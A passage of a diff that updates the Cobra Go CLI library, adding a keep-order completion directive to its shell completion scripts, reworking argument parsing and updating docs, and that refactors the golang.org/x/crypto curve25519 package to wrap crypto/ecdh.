// completionCommandGroupID is used if no completion command is defined by the user
|
||||
c.Root().completionCommandGroupID = groupID
|
||||
@@ -655,20 +655,44 @@ Loop:
|
||||
|
||||
// argsMinusFirstX removes only the first x from args. Otherwise, commands that look like
|
||||
// openshift admin policy add-role-to-user admin my-user, lose the admin argument (arg[4]).
|
||||
func argsMinusFirstX(args []string, x string) []string {
|
||||
for i, y := range args {
|
||||
if x == y {
|
||||
ret := []string{}
|
||||
ret = append(ret, args[:i]...)
|
||||
ret = append(ret, args[i+1:]...)
|
||||
return ret
|
||||
// Special care needs to be taken not to remove a flag value.
|
||||
func (c *Command) argsMinusFirstX(args []string, x string) []string {
|
||||
if len(args) == 0 {
|
||||
return args
|
||||
}
|
||||
c.mergePersistentFlags()
|
||||
flags := c.Flags()
|
||||
|
||||
Loop:
|
||||
for pos := 0; pos < len(args); pos++ {
|
||||
s := args[pos]
|
||||
switch {
|
||||
case s == "--":
|
||||
// -- means we have reached the end of the parseable args. Break out of the loop now.
|
||||
break Loop
|
||||
case strings.HasPrefix(s, "--") && !strings.Contains(s, "=") && !hasNoOptDefVal(s[2:], flags):
|
||||
fallthrough
|
||||
case strings.HasPrefix(s, "-") && !strings.Contains(s, "=") && len(s) == 2 && !shortHasNoOptDefVal(s[1:], flags):
|
||||
// This is a flag without a default value, and an equal sign is not used. Increment pos in order to skip
|
||||
// over the next arg, because that is the value of this flag.
|
||||
pos++
|
||||
continue
|
||||
case !strings.HasPrefix(s, "-"):
|
||||
// This is not a flag or a flag value. Check to see if it matches what we're looking for, and if so,
|
||||
// return the args, excluding the one at this position.
|
||||
if s == x {
|
||||
ret := []string{}
|
||||
ret = append(ret, args[:pos]...)
|
||||
ret = append(ret, args[pos+1:]...)
|
||||
return ret
|
||||
}
|
||||
}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func isFlagArg(arg string) bool {
|
||||
return ((len(arg) >= 3 && arg[1] == '-') ||
|
||||
return ((len(arg) >= 3 && arg[0:2] == "--") ||
|
||||
(len(arg) >= 2 && arg[0] == '-' && arg[1] != '-'))
|
||||
}
|
||||
|
||||
@@ -686,7 +710,7 @@ func (c *Command) Find(args []string) (*Command, []string, error) {
|
||||
|
||||
cmd := c.findNext(nextSubCmd)
|
||||
if cmd != nil {
|
||||
return innerfind(cmd, argsMinusFirstX(innerArgs, nextSubCmd))
|
||||
return innerfind(cmd, c.argsMinusFirstX(innerArgs, nextSubCmd))
|
||||
}
|
||||
return c, innerArgs
|
||||
}
|
||||
@@ -1272,7 +1296,7 @@ func (c *Command) AllChildCommandsHaveGroup() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// ContainGroups return if groupID exists in the list of command groups.
|
||||
// ContainsGroup return if groupID exists in the list of command groups.
|
||||
func (c *Command) ContainsGroup(groupID string) bool {
|
||||
for _, x := range c.commandgroups {
|
||||
if x.ID == groupID {
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
|
||||
+10
-3
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -77,6 +77,10 @@ const (
|
||||
// obtain the same behavior but only for flags.
|
||||
ShellCompDirectiveFilterDirs
|
||||
|
||||
// ShellCompDirectiveKeepOrder indicates that the shell should preserve the order
|
||||
// in which the completions are provided
|
||||
ShellCompDirectiveKeepOrder
|
||||
|
||||
// ===========================================================================
|
||||
|
||||
// All directives using iota should be above this one.
|
||||
@@ -159,6 +163,9 @@ func (d ShellCompDirective) string() string {
|
||||
if d&ShellCompDirectiveFilterDirs != 0 {
|
||||
directives = append(directives, "ShellCompDirectiveFilterDirs")
|
||||
}
|
||||
if d&ShellCompDirectiveKeepOrder != 0 {
|
||||
directives = append(directives, "ShellCompDirectiveKeepOrder")
|
||||
}
|
||||
if len(directives) == 0 {
|
||||
directives = append(directives, "ShellCompDirectiveDefault")
|
||||
}
|
||||
@@ -169,7 +176,7 @@ func (d ShellCompDirective) string() string {
|
||||
return strings.Join(directives, ", ")
|
||||
}
|
||||
|
||||
// Adds a special hidden command that can be used to request custom completions.
|
||||
// initCompleteCmd adds a special hidden command that can be used to request custom completions.
|
||||
func (c *Command) initCompleteCmd(args []string) {
|
||||
completeCmd := &Command{
|
||||
Use: fmt.Sprintf("%s [command-line]", ShellCompRequestCmd),
|
||||
@@ -727,7 +734,7 @@ to enable it. You can execute the following once:
|
||||
|
||||
To load completions in your current shell session:
|
||||
|
||||
source <(%[1]s completion zsh); compdef _%[1]s %[1]s
|
||||
source <(%[1]s completion zsh)
|
||||
|
||||
To load completions for every new session, execute once:
|
||||
|
||||
|
||||
+68
-10
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -53,7 +53,7 @@ function __%[1]s_perform_completion
|
||||
__%[1]s_debug "last arg: $lastArg"
|
||||
|
||||
# Disable ActiveHelp which is not supported for fish shell
|
||||
set -l requestComp "%[9]s=0 $args[1] %[3]s $args[2..-1] $lastArg"
|
||||
set -l requestComp "%[10]s=0 $args[1] %[3]s $args[2..-1] $lastArg"
|
||||
|
||||
__%[1]s_debug "Calling $requestComp"
|
||||
set -l results (eval $requestComp 2> /dev/null)
|
||||
@@ -89,6 +89,60 @@ function __%[1]s_perform_completion
|
||||
printf "%%s\n" "$directiveLine"
|
||||
end
|
||||
|
||||
# this function limits calls to __%[1]s_perform_completion, by caching the result behind $__%[1]s_perform_completion_once_result
|
||||
function __%[1]s_perform_completion_once
|
||||
__%[1]s_debug "Starting __%[1]s_perform_completion_once"
|
||||
|
||||
if test -n "$__%[1]s_perform_completion_once_result"
|
||||
__%[1]s_debug "Seems like a valid result already exists, skipping __%[1]s_perform_completion"
|
||||
return 0
|
||||
end
|
||||
|
||||
set --global __%[1]s_perform_completion_once_result (__%[1]s_perform_completion)
|
||||
if test -z "$__%[1]s_perform_completion_once_result"
|
||||
__%[1]s_debug "No completions, probably due to a failure"
|
||||
return 1
|
||||
end
|
||||
|
||||
__%[1]s_debug "Performed completions and set __%[1]s_perform_completion_once_result"
|
||||
return 0
|
||||
end
|
||||
|
||||
# this function is used to clear the $__%[1]s_perform_completion_once_result variable after completions are run
|
||||
function __%[1]s_clear_perform_completion_once_result
|
||||
__%[1]s_debug ""
|
||||
__%[1]s_debug "========= clearing previously set __%[1]s_perform_completion_once_result variable =========="
|
||||
set --erase __%[1]s_perform_completion_once_result
|
||||
__%[1]s_debug "Succesfully erased the variable __%[1]s_perform_completion_once_result"
|
||||
end
|
||||
|
||||
function __%[1]s_requires_order_preservation
|
||||
__%[1]s_debug ""
|
||||
__%[1]s_debug "========= checking if order preservation is required =========="
|
||||
|
||||
__%[1]s_perform_completion_once
|
||||
if test -z "$__%[1]s_perform_completion_once_result"
|
||||
__%[1]s_debug "Error determining if order preservation is required"
|
||||
return 1
|
||||
end
|
||||
|
||||
set -l directive (string sub --start 2 $__%[1]s_perform_completion_once_result[-1])
|
||||
__%[1]s_debug "Directive is: $directive"
|
||||
|
||||
set -l shellCompDirectiveKeepOrder %[9]d
|
||||
set -l keeporder (math (math --scale 0 $directive / $shellCompDirectiveKeepOrder) %% 2)
|
||||
__%[1]s_debug "Keeporder is: $keeporder"
|
||||
|
||||
if test $keeporder -ne 0
|
||||
__%[1]s_debug "This does require order preservation"
|
||||
return 0
|
||||
end
|
||||
|
||||
__%[1]s_debug "This doesn't require order preservation"
|
||||
return 1
|
||||
end
|
||||
|
||||
|
||||
# This function does two things:
|
||||
# - Obtain the completions and store them in the global __%[1]s_comp_results
|
||||
# - Return false if file completion should be performed
|
||||
@@ -99,17 +153,17 @@ function __%[1]s_prepare_completions
|
||||
# Start fresh
|
||||
set --erase __%[1]s_comp_results
|
||||
|
||||
set -l results (__%[1]s_perform_completion)
|
||||
__%[1]s_debug "Completion results: $results"
|
||||
__%[1]s_perform_completion_once
|
||||
__%[1]s_debug "Completion results: $__%[1]s_perform_completion_once_result"
|
||||
|
||||
if test -z "$results"
|
||||
if test -z "$__%[1]s_perform_completion_once_result"
|
||||
__%[1]s_debug "No completion, probably due to a failure"
|
||||
# Might as well do file completion, in case it helps
|
||||
return 1
|
||||
end
|
||||
|
||||
set -l directive (string sub --start 2 $results[-1])
|
||||
set --global __%[1]s_comp_results $results[1..-2]
|
||||
set -l directive (string sub --start 2 $__%[1]s_perform_completion_once_result[-1])
|
||||
set --global __%[1]s_comp_results $__%[1]s_perform_completion_once_result[1..-2]
|
||||
|
||||
__%[1]s_debug "Completions are: $__%[1]s_comp_results"
|
||||
__%[1]s_debug "Directive is: $directive"
|
||||
@@ -205,13 +259,17 @@ end
|
||||
# Remove any pre-existing completions for the program since we will be handling all of them.
|
||||
complete -c %[2]s -e
|
||||
|
||||
# this will get called after the two calls below and clear the $__%[1]s_perform_completion_once_result global
|
||||
complete -c %[2]s -n '__%[1]s_clear_perform_completion_once_result'
|
||||
# The call to __%[1]s_prepare_completions will setup __%[1]s_comp_results
|
||||
# which provides the program's completion choices.
|
||||
complete -c %[2]s -n '__%[1]s_prepare_completions' -f -a '$__%[1]s_comp_results'
|
||||
|
||||
# If this doesn't require order preservation, we don't use the -k flag
|
||||
complete -c %[2]s -n 'not __%[1]s_requires_order_preservation && __%[1]s_prepare_completions' -f -a '$__%[1]s_comp_results'
|
||||
# otherwise we use the -k flag
|
||||
complete -k -c %[2]s -n '__%[1]s_requires_order_preservation && __%[1]s_prepare_completions' -f -a '$__%[1]s_comp_results'
|
||||
`, nameForVar, name, compCmd,
|
||||
ShellCompDirectiveError, ShellCompDirectiveNoSpace, ShellCompDirectiveNoFileComp,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, activeHelpEnvVar(name)))
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, ShellCompDirectiveKeepOrder, activeHelpEnvVar(name)))
|
||||
}
|
||||
|
||||
// GenFishCompletion generates fish completion file and writes to the passed writer.
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
|
||||
+21
-6
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -77,6 +77,7 @@ filter __%[1]s_escapeStringWithSpecialChars {
|
||||
$ShellCompDirectiveNoFileComp=%[6]d
|
||||
$ShellCompDirectiveFilterFileExt=%[7]d
|
||||
$ShellCompDirectiveFilterDirs=%[8]d
|
||||
$ShellCompDirectiveKeepOrder=%[9]d
|
||||
|
||||
# Prepare the command to request completions for the program.
|
||||
# Split the command at the first space to separate the program and arguments.
|
||||
@@ -106,13 +107,22 @@ filter __%[1]s_escapeStringWithSpecialChars {
|
||||
# If the last parameter is complete (there is a space following it)
|
||||
# We add an extra empty parameter so we can indicate this to the go method.
|
||||
__%[1]s_debug "Adding extra empty parameter"
|
||||
`+" # We need to use `\"`\" to pass an empty argument a \"\" or '' does not work!!!"+`
|
||||
`+" $RequestComp=\"$RequestComp\" + ' `\"`\"'"+`
|
||||
# PowerShell 7.2+ changed the way how the arguments are passed to executables,
|
||||
# so for pre-7.2 or when Legacy argument passing is enabled we need to use
|
||||
`+" # `\"`\" to pass an empty argument, a \"\" or '' does not work!!!"+`
|
||||
if ($PSVersionTable.PsVersion -lt [version]'7.2.0' -or
|
||||
($PSVersionTable.PsVersion -lt [version]'7.3.0' -and -not [ExperimentalFeature]::IsEnabled("PSNativeCommandArgumentPassing")) -or
|
||||
(($PSVersionTable.PsVersion -ge [version]'7.3.0' -or [ExperimentalFeature]::IsEnabled("PSNativeCommandArgumentPassing")) -and
|
||||
$PSNativeCommandArgumentPassing -eq 'Legacy')) {
|
||||
`+" $RequestComp=\"$RequestComp\" + ' `\"`\"'"+`
|
||||
} else {
|
||||
$RequestComp="$RequestComp" + ' ""'
|
||||
}
|
||||
}
|
||||
|
||||
__%[1]s_debug "Calling $RequestComp"
|
||||
# First disable ActiveHelp which is not supported for Powershell
|
||||
$env:%[9]s=0
|
||||
$env:%[10]s=0
|
||||
|
||||
#call the command store the output in $out and redirect stderr and stdout to null
|
||||
# $Out is an array contains each line per element
|
||||
@@ -137,7 +147,7 @@ filter __%[1]s_escapeStringWithSpecialChars {
|
||||
}
|
||||
|
||||
$Longest = 0
|
||||
$Values = $Out | ForEach-Object {
|
||||
[Array]$Values = $Out | ForEach-Object {
|
||||
#Split the output in name and description
|
||||
`+" $Name, $Description = $_.Split(\"`t\",2)"+`
|
||||
__%[1]s_debug "Name: $Name Description: $Description"
|
||||
@@ -182,6 +192,11 @@ filter __%[1]s_escapeStringWithSpecialChars {
|
||||
}
|
||||
}
|
||||
|
||||
# we sort the values in ascending order by name if keep order isn't passed
|
||||
if (($Directive -band $ShellCompDirectiveKeepOrder) -eq 0 ) {
|
||||
$Values = $Values | Sort-Object -Property Name
|
||||
}
|
||||
|
||||
if (($Directive -band $ShellCompDirectiveNoFileComp) -ne 0 ) {
|
||||
__%[1]s_debug "ShellCompDirectiveNoFileComp is called"
|
||||
|
||||
@@ -267,7 +282,7 @@ filter __%[1]s_escapeStringWithSpecialChars {
|
||||
Register-ArgumentCompleter -CommandName '%[1]s' -ScriptBlock $__%[2]sCompleterBlock
|
||||
`, name, nameForVar, compCmd,
|
||||
ShellCompDirectiveError, ShellCompDirectiveNoSpace, ShellCompDirectiveNoFileComp,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, activeHelpEnvVar(name)))
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, ShellCompDirectiveKeepOrder, activeHelpEnvVar(name)))
|
||||
}
|
||||
|
||||
func (c *Command) genPowerShellCompletion(w io.Writer, includeDesc bool) error {
|
||||
|
||||
+5
-1
@@ -1,11 +1,13 @@
|
||||
## Projects using Cobra
|
||||
|
||||
- [Allero](https://github.com/allero-io/allero)
|
||||
- [Arewefastyet](https://benchmark.vitess.io)
|
||||
- [Arduino CLI](https://github.com/arduino/arduino-cli)
|
||||
- [Bleve](https://blevesearch.com/)
|
||||
- [Cilium](https://cilium.io/)
|
||||
- [CloudQuery](https://github.com/cloudquery/cloudquery)
|
||||
- [CockroachDB](https://www.cockroachlabs.com/)
|
||||
- [Constellation](https://github.com/edgelesssys/constellation)
|
||||
- [Cosmos SDK](https://github.com/cosmos/cosmos-sdk)
|
||||
- [Datree](https://github.com/datreeio/datree)
|
||||
- [Delve](https://github.com/derekparker/delve)
|
||||
@@ -25,7 +27,7 @@
|
||||
- [Istio](https://istio.io)
|
||||
- [Kool](https://github.com/kool-dev/kool)
|
||||
- [Kubernetes](https://kubernetes.io/)
|
||||
- [Kubescape](https://github.com/armosec/kubescape)
|
||||
- [Kubescape](https://github.com/kubescape/kubescape)
|
||||
- [KubeVirt](https://github.com/kubevirt/kubevirt)
|
||||
- [Linkerd](https://linkerd.io/)
|
||||
- [Mattermost-server](https://github.com/mattermost/mattermost-server)
|
||||
@@ -51,10 +53,12 @@
|
||||
- [Random](https://github.com/erdaltsksn/random)
|
||||
- [Rclone](https://rclone.org/)
|
||||
- [Scaleway CLI](https://github.com/scaleway/scaleway-cli)
|
||||
- [Sia](https://github.com/SiaFoundation/siad)
|
||||
- [Skaffold](https://skaffold.dev/)
|
||||
- [Tendermint](https://github.com/tendermint/tendermint)
|
||||
- [Twitch CLI](https://github.com/twitchdev/twitch-cli)
|
||||
- [UpCloud CLI (`upctl`)](https://github.com/UpCloudLtd/upcloud-cli)
|
||||
- [Vitess](https://vitess.io)
|
||||
- VMware's [Tanzu Community Edition](https://github.com/vmware-tanzu/community-edition) & [Tanzu Framework](https://github.com/vmware-tanzu/tanzu-framework)
|
||||
- [Werf](https://werf.io/)
|
||||
- [ZITADEL](https://github.com/zitadel/zitadel)
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
|
||||
+19
-11
@@ -71,7 +71,7 @@ PowerShell:
|
||||
`,cmd.Root().Name()),
|
||||
DisableFlagsInUseLine: true,
|
||||
ValidArgs: []string{"bash", "zsh", "fish", "powershell"},
|
||||
Args: cobra.ExactValidArgs(1),
|
||||
Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
switch args[0] {
|
||||
case "bash":
|
||||
@@ -162,16 +162,7 @@ cmd := &cobra.Command{
|
||||
}
|
||||
```
|
||||
|
||||
The aliases are not shown to the user on tab completion, but they are accepted as valid nouns by
|
||||
the completion algorithm if entered manually, e.g. in:
|
||||
|
||||
```bash
|
||||
$ kubectl get rc [tab][tab]
|
||||
backend frontend database
|
||||
```
|
||||
|
||||
Note that without declaring `rc` as an alias, the completion algorithm would not know to show the list of
|
||||
replication controllers following `rc`.
|
||||
The aliases are shown to the user on tab completion only if no completions were found within sub-commands or `ValidArgs`.
|
||||
|
||||
### Dynamic completion of nouns
|
||||
|
||||
@@ -237,6 +228,10 @@ ShellCompDirectiveFilterFileExt
|
||||
// return []string{"themes"}, ShellCompDirectiveFilterDirs
|
||||
//
|
||||
ShellCompDirectiveFilterDirs
|
||||
|
||||
// ShellCompDirectiveKeepOrder indicates that the shell should preserve the order
|
||||
// in which the completions are provided
|
||||
ShellCompDirectiveKeepOrder
|
||||
```
|
||||
|
||||
***Note***: When using the `ValidArgsFunction`, Cobra will call your registered function after having parsed all flags and arguments provided in the command-line. You therefore don't need to do this parsing yourself. For example, when a user calls `helm status --namespace my-rook-ns [tab][tab]`, Cobra will call your registered `ValidArgsFunction` after having parsed the `--namespace` flag, as it would have done when calling the `RunE` function.
|
||||
@@ -385,6 +380,19 @@ or
|
||||
```go
|
||||
ValidArgs: []string{"bash\tCompletions for bash", "zsh\tCompletions for zsh"}
|
||||
```
|
||||
|
||||
If you don't want to show descriptions in the completions, you can add `--no-descriptions` to the default `completion` command to disable them, like:
|
||||
|
||||
```bash
|
||||
$ source <(helm completion bash)
|
||||
$ helm completion [tab][tab]
|
||||
bash (generate autocompletion script for bash) powershell (generate autocompletion script for powershell)
|
||||
fish (generate autocompletion script for fish) zsh (generate autocompletion script for zsh)
|
||||
|
||||
$ source <(helm completion bash --no-descriptions)
|
||||
$ helm completion [tab][tab]
|
||||
bash fish powershell zsh
|
||||
```
|
||||
## Bash completions
|
||||
|
||||
### Dependencies
|
||||
|
||||
+34
-3
@@ -188,6 +188,37 @@ var versionCmd = &cobra.Command{
|
||||
}
|
||||
```
|
||||
|
||||
### Organizing subcommands
|
||||
|
||||
A command may have subcommands which in turn may have other subcommands. This is achieved by using
|
||||
`AddCommand`. In some cases, especially in larger applications, each subcommand may be defined in
|
||||
its own go package.
|
||||
|
||||
The suggested approach is for the parent command to use `AddCommand` to add its most immediate
|
||||
subcommands. For example, consider the following directory structure:
|
||||
|
||||
```text
|
||||
├── cmd
|
||||
│ ├── root.go
|
||||
│ └── sub1
|
||||
│ ├── sub1.go
|
||||
│ └── sub2
|
||||
│ ├── leafA.go
|
||||
│ ├── leafB.go
|
||||
│ └── sub2.go
|
||||
└── main.go
|
||||
```
|
||||
|
||||
In this case:
|
||||
|
||||
* The `init` function of `root.go` adds the command defined in `sub1.go` to the root command.
|
||||
* The `init` function of `sub1.go` adds the command defined in `sub2.go` to the sub1 command.
|
||||
* The `init` function of `sub2.go` adds the commands defined in `leafA.go` and `leafB.go` to the
|
||||
sub2 command.
|
||||
|
||||
This approach ensures the subcommands are always included at compile time while avoiding cyclic
|
||||
references.
|
||||
|
||||
### Returning and handling errors
|
||||
|
||||
If you wish to return an error to the caller of a command, `RunE` can be used.
|
||||
@@ -313,8 +344,8 @@ rootCmd.MarkFlagsRequiredTogether("username", "password")
|
||||
You can also prevent different flags from being provided together if they represent mutually
|
||||
exclusive options such as specifying an output format as either `--json` or `--yaml` but never both:
|
||||
```go
|
||||
rootCmd.Flags().BoolVar(&u, "json", false, "Output in JSON")
|
||||
rootCmd.Flags().BoolVar(&pw, "yaml", false, "Output in YAML")
|
||||
rootCmd.Flags().BoolVar(&ofJson, "json", false, "Output in JSON")
|
||||
rootCmd.Flags().BoolVar(&ofYaml, "yaml", false, "Output in YAML")
|
||||
rootCmd.MarkFlagsMutuallyExclusive("json", "yaml")
|
||||
```
|
||||
|
||||
@@ -349,7 +380,7 @@ shown below:
|
||||
```go
|
||||
var cmd = &cobra.Command{
|
||||
Short: "hello",
|
||||
Args: MatchAll(ExactArgs(2), OnlyValidArgs),
|
||||
Args: cobra.MatchAll(cobra.ExactArgs(2), cobra.OnlyValidArgs),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
fmt.Println("Hello, World!")
|
||||
},
|
||||
|
||||
+12
-5
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -90,6 +90,7 @@ func genZshComp(buf io.StringWriter, name string, includeDesc bool) {
|
||||
compCmd = ShellCompNoDescRequestCmd
|
||||
}
|
||||
WriteStringAndCheck(buf, fmt.Sprintf(`#compdef %[1]s
|
||||
compdef _%[1]s %[1]s
|
||||
|
||||
# zsh completion for %-36[1]s -*- shell-script -*-
|
||||
|
||||
@@ -108,8 +109,9 @@ _%[1]s()
|
||||
local shellCompDirectiveNoFileComp=%[5]d
|
||||
local shellCompDirectiveFilterFileExt=%[6]d
|
||||
local shellCompDirectiveFilterDirs=%[7]d
|
||||
local shellCompDirectiveKeepOrder=%[8]d
|
||||
|
||||
local lastParam lastChar flagPrefix requestComp out directive comp lastComp noSpace
|
||||
local lastParam lastChar flagPrefix requestComp out directive comp lastComp noSpace keepOrder
|
||||
local -a completions
|
||||
|
||||
__%[1]s_debug "\n========= starting completion logic =========="
|
||||
@@ -177,7 +179,7 @@ _%[1]s()
|
||||
return
|
||||
fi
|
||||
|
||||
local activeHelpMarker="%[8]s"
|
||||
local activeHelpMarker="%[9]s"
|
||||
local endIndex=${#activeHelpMarker}
|
||||
local startIndex=$((${#activeHelpMarker}+1))
|
||||
local hasActiveHelp=0
|
||||
@@ -227,6 +229,11 @@ _%[1]s()
|
||||
noSpace="-S ''"
|
||||
fi
|
||||
|
||||
if [ $((directive & shellCompDirectiveKeepOrder)) -ne 0 ]; then
|
||||
__%[1]s_debug "Activating keep order."
|
||||
keepOrder="-V"
|
||||
fi
|
||||
|
||||
if [ $((directive & shellCompDirectiveFilterFileExt)) -ne 0 ]; then
|
||||
# File extension filtering
|
||||
local filteringCmd
|
||||
@@ -262,7 +269,7 @@ _%[1]s()
|
||||
return $result
|
||||
else
|
||||
__%[1]s_debug "Calling _describe"
|
||||
if eval _describe "completions" completions $flagPrefix $noSpace; then
|
||||
if eval _describe $keepOrder "completions" completions $flagPrefix $noSpace; then
|
||||
__%[1]s_debug "_describe found some completions"
|
||||
|
||||
# Return the success of having called _describe
|
||||
@@ -296,6 +303,6 @@ if [ "$funcstack[1]" = "_%[1]s" ]; then
|
||||
fi
|
||||
`, name, compCmd,
|
||||
ShellCompDirectiveError, ShellCompDirectiveNoSpace, ShellCompDirectiveNoFileComp,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, ShellCompDirectiveKeepOrder,
|
||||
activeHelpMarker))
|
||||
}
|
||||
+6
-93
@@ -5,71 +5,18 @@
|
||||
// Package curve25519 provides an implementation of the X25519 function, which
|
||||
// performs scalar multiplication on the elliptic curve known as Curve25519.
|
||||
// See RFC 7748.
|
||||
//
|
||||
// Starting in Go 1.20, this package is a wrapper for the X25519 implementation
|
||||
// in the crypto/ecdh package.
|
||||
package curve25519 // import "golang.org/x/crypto/curve25519"
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
"golang.org/x/crypto/curve25519/internal/field"
|
||||
)
|
||||
|
||||
// ScalarMult sets dst to the product scalar * point.
|
||||
//
|
||||
// Deprecated: when provided a low-order point, ScalarMult will set dst to all
|
||||
// zeroes, irrespective of the scalar. Instead, use the X25519 function, which
|
||||
// will return an error.
|
||||
func ScalarMult(dst, scalar, point *[32]byte) {
|
||||
var e [32]byte
|
||||
|
||||
copy(e[:], scalar[:])
|
||||
e[0] &= 248
|
||||
e[31] &= 127
|
||||
e[31] |= 64
|
||||
|
||||
var x1, x2, z2, x3, z3, tmp0, tmp1 field.Element
|
||||
x1.SetBytes(point[:])
|
||||
x2.One()
|
||||
x3.Set(&x1)
|
||||
z3.One()
|
||||
|
||||
swap := 0
|
||||
for pos := 254; pos >= 0; pos-- {
|
||||
b := e[pos/8] >> uint(pos&7)
|
||||
b &= 1
|
||||
swap ^= int(b)
|
||||
x2.Swap(&x3, swap)
|
||||
z2.Swap(&z3, swap)
|
||||
swap = int(b)
|
||||
|
||||
tmp0.Subtract(&x3, &z3)
|
||||
tmp1.Subtract(&x2, &z2)
|
||||
x2.Add(&x2, &z2)
|
||||
z2.Add(&x3, &z3)
|
||||
z3.Multiply(&tmp0, &x2)
|
||||
z2.Multiply(&z2, &tmp1)
|
||||
tmp0.Square(&tmp1)
|
||||
tmp1.Square(&x2)
|
||||
x3.Add(&z3, &z2)
|
||||
z2.Subtract(&z3, &z2)
|
||||
x2.Multiply(&tmp1, &tmp0)
|
||||
tmp1.Subtract(&tmp1, &tmp0)
|
||||
z2.Square(&z2)
|
||||
|
||||
z3.Mult32(&tmp1, 121666)
|
||||
x3.Square(&x3)
|
||||
tmp0.Add(&tmp0, &z3)
|
||||
z3.Multiply(&x1, &z2)
|
||||
z2.Multiply(&tmp1, &tmp0)
|
||||
}
|
||||
|
||||
x2.Swap(&x3, swap)
|
||||
z2.Swap(&z3, swap)
|
||||
|
||||
z2.Invert(&z2)
|
||||
x2.Multiply(&x2, &z2)
|
||||
copy(dst[:], x2.Bytes())
|
||||
scalarMult(dst, scalar, point)
|
||||
}
|
||||
|
||||
// ScalarBaseMult sets dst to the product scalar * base where base is the
|
||||
@@ -78,7 +25,7 @@ func ScalarMult(dst, scalar, point *[32]byte) {
|
||||
// It is recommended to use the X25519 function with Basepoint instead, as
|
||||
// copying into fixed size arrays can lead to unexpected bugs.
|
||||
func ScalarBaseMult(dst, scalar *[32]byte) {
|
||||
ScalarMult(dst, scalar, &basePoint)
|
||||
scalarBaseMult(dst, scalar)
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -91,21 +38,10 @@ const (
|
||||
// Basepoint is the canonical Curve25519 generator.
|
||||
var Basepoint []byte
|
||||
|
||||
var basePoint = [32]byte{9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
|
||||
var basePoint = [32]byte{9}
|
||||
|
||||
func init() { Basepoint = basePoint[:] }
|
||||
|
||||
func checkBasepoint() {
|
||||
if subtle.ConstantTimeCompare(Basepoint, []byte{
|
||||
0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}) != 1 {
|
||||
panic("curve25519: global Basepoint value was modified")
|
||||
}
|
||||
}
|
||||
|
||||
// X25519 returns the result of the scalar multiplication (scalar * point),
|
||||
// according to RFC 7748, Section 5. scalar, point and the return value are
|
||||
// slices of 32 bytes.
|
||||
@@ -121,26 +57,3 @@ func X25519(scalar, point []byte) ([]byte, error) {
|
||||
var dst [32]byte
|
||||
return x25519(&dst, scalar, point)
|
||||
}
|
||||
|
||||
func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) {
|
||||
var in [32]byte
|
||||
if l := len(scalar); l != 32 {
|
||||
return nil, errors.New("bad scalar length: " + strconv.Itoa(l) + ", expected 32")
|
||||
}
|
||||
if l := len(point); l != 32 {
|
||||
return nil, errors.New("bad point length: " + strconv.Itoa(l) + ", expected 32")
|
||||
}
|
||||
copy(in[:], scalar)
|
||||
if &point[0] == &Basepoint[0] {
|
||||
checkBasepoint()
|
||||
ScalarBaseMult(dst, &in)
|
||||
} else {
|
